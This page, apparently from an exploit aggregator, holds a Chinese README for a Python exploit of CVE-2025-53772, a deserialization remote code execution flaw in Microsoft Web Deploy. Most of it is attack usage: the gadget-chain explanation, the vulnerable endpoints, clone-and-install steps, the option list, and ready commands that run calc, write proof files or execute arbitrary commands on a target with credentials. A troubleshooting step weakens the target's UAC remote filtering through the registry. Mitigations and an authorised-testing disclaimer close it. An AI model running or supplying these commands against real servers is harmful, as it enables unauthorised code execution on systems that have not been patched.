Sploitus

Exploit for CVE-2025-53772

kitploit · 2026-09-05

Exploit Code

MARKDOWN222 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SAILAY1996-CVE-2025-53772
# CVE-2025-53772 - Microsoft Web Deploy RCE 漏洞利用

一个基于 Python 的 CVE-2025-53772 漏洞利用程序,该漏洞是 Microsoft Web Deploy (msdeploy) 中因 HTTP 头数据的不安全反序列化而导致的远程代码执行漏洞。

## 🎬 POC 视频

![POC](https://raw.githubusercontent.com/sailay1996/CVE-2025-53772/main/poc_demo.gif)

* * *

## 漏洞概述

属性| 值  
---|---  
**CVE ID**|  CVE-2025-53772  
**CVSS 评分**|  8.8 (高危)  
**受影响产品**|  Microsoft Web Deploy 4.0  
**受影响版本**|  < 10.0.2001  
**已修复版本**|  10.0.2001+  
**漏洞类型**|  不可信数据反序列化 (CWE-502)  
**认证要求**|  需要(低权限)  
  
## 工作原理

该漏洞存在于 `MSDeploy.SyncOptions` HTTP 头的反序列化过程中。当发送特制载荷时,服务器使用 `BinaryFormatter` 对其进行反序列化,通过 TypeConfuseDelegate 小工具链触发任意代码执行。

root@kitploit:~
    
    
    攻击者                                    目标服务器
       │                                              │
       │  POST /MSDEPLOYAGENTSERVICE HTTP/1.1         │
       │  MSDeploy.SyncOptions: <恶意载荷>   │
       │─────────────────────────────────────────────>│
       │                                              │
       │                            BinaryFormatter.Deserialize()
       │                                     │
       │                                     ▼
       │                            Process.Start("cmd.exe", "/c ...")
       │                                     │
       │                                     ▼
       │                              实现 RCE!
    

## 受影响端点

端点| 端口| 协议| 认证类型  
---|---|---|---  
`/MSDEPLOYAGENTSERVICE`| 80| HTTP| NTLM  
`/msdeploy.axd`| 8172| HTTPS| Basic  
  
## 安装

root@kitploit:~
    
    
    git clone https://github.com/sailay1996/CVE-2025-53772.git
    cd CVE-2025-53772
    pip install -r requirements.txt
    

### 依赖要求

root@kitploit:~
    
    
    requests>=2.28.0
    urllib3>=1.26.0
    requests-ntlm>=1.2.0
    

## 使用方法

### 快速开始

root@kitploit:~
    
    
    # 在 C:\Windows\Temp\pwned.txt 中创建证明文件
    python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
    

## CVE-2025-53772.py

### 选项

root@kitploit:~
    
    
    -t, --target      目标 IP 或主机名(必需)
    -u, --user        用户名(必需)
    -P, --password    密码(必需)
    --port            目标端口(默认:80)
    --endpoint        端点路径(默认:/MSDEPLOYAGENTSERVICE)
    --ntlm            使用 NTLM 认证(Agent Service 必需)
    --calc            执行 calc.exe
    --proof-temp      创建 C:\Windows\Temp\pwned.txt
    --proof-web       创建 C:\inetpub\wwwroot\pwned.txt
    -c, --command     要执行的自定义命令
    --generate-only   仅生成载荷,不发送
    -o, --output      将载荷保存到文件
    

### 示例

#### Agent Service(端口 80 - NTLM 认证)

root@kitploit:~
    
    
    # 弹出计算器
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
    
    # 在临时文件夹中创建证明文件
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
    
    # 在 Web 根目录中创建证明文件(通过浏览器验证)
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
    
    # 执行自定义命令
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
    
    # 仅生成载荷(不发送)
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
    

#### WMSvc 服务(端口 8172 - Basic 认证)

root@kitploit:~
    
    
    # 使用 msdeploy.axd 端点(不带 --ntlm 标志)
    python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
    

* * *

## 验证

运行漏洞利用后,在目标上验证执行情况:

root@kitploit:~
    
    
    # 检查证明文件
    type C:\Windows\Temp\pwned.txt
    
    # 或者通过浏览器(如果使用了 --proof-web)
    # 导航到:http://<TARGET>/pwned.txt
    

* * *

### 常见问题

#### 401 未授权(NTLM)

如果使用 Agent Service 与 NTLM 并返回 401:

root@kitploit:~
    
    
    # 在目标上禁用 UAC 远程过滤:
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
    

#### 404 未找到(msdeploy.axd)

IIS 处理程序可能未注册。请改用 Agent Service 端点:

root@kitploit:~
    
    
    --port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
    

* * *

### 验证受影响版本

root@kitploit:~
    
    
    # 检查已安装版本
    (Get-Command msdeploy.exe).FileVersionInfo.FileVersion
    # 如果 < 10.0.2001 则存在漏洞
    

* * *

## 缓解措施

  1. **将 Web Deploy 更新** 到 10.0.2001 或更高版本
  2. **通过防火墙限制** 对 Web Deploy 端点的访问
  3. **使用强凭据** 并避免密码重用
  4. **监控日志** ,留意端口 80/8172 上的可疑活动
  5. 如果不需要,**禁用** Web Deploy



* * *

## 参考资料

  * Microsoft 安全公告
  * NVD - CVE-2025-53772
  * HawkTrace 的原始研究



* * *

## 免责声明

本工具仅用于**授权安全测试和教育目的** 。未经授权访问计算机系统是违法的。在测试之前,请务必获得适当授权。

* * *

## 许可证

MIT License